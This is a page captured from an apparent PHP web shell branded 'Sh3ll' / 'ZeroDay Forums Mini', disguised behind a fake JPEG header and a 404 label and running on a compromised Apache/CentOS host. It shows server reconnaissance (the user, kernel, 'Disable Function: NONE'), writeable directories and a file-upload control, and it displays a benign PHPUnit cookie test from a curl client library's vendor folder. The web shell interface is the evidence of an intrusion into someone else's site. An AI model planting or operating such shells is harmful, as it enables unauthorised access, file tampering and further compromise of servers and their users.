����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/vendor/athlon1600/php-curl-client/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/vidoe.top/vendor/athlon1600/php-curl-client/tests/BrowserTest.php
<?php

namespace Curl\Tests;

use Curl\BrowserClient;
use PHPUnit\Framework\TestCase;

class BrowserTest extends TestCase
{
    public function test_cookies()
    {
        $browser = new BrowserClient();
        $browser->clearCookies();

        $cookies = array(
            'cookie_one' => '111',
            'cookie_two' => 222
        );

        $browser->get('https://httpbin.org/cookies/set', $cookies);

        $response = $browser->get('https://httpbin.org/cookies');
        $json = json_decode($response->body, true);

        $this->assertEquals($cookies, $json['cookies']);
    }

    public function test_custom_cookie_storage()
    {
        @unlink('./BrowserClient');

        BrowserClient::setStorageDirectory('./');

        $browser = new BrowserClient();
        $browser->get('http://www.yahoo.com');

        $this->assertTrue(file_exists('./BrowserClient'));
    }
}

ZeroDay Forums Mini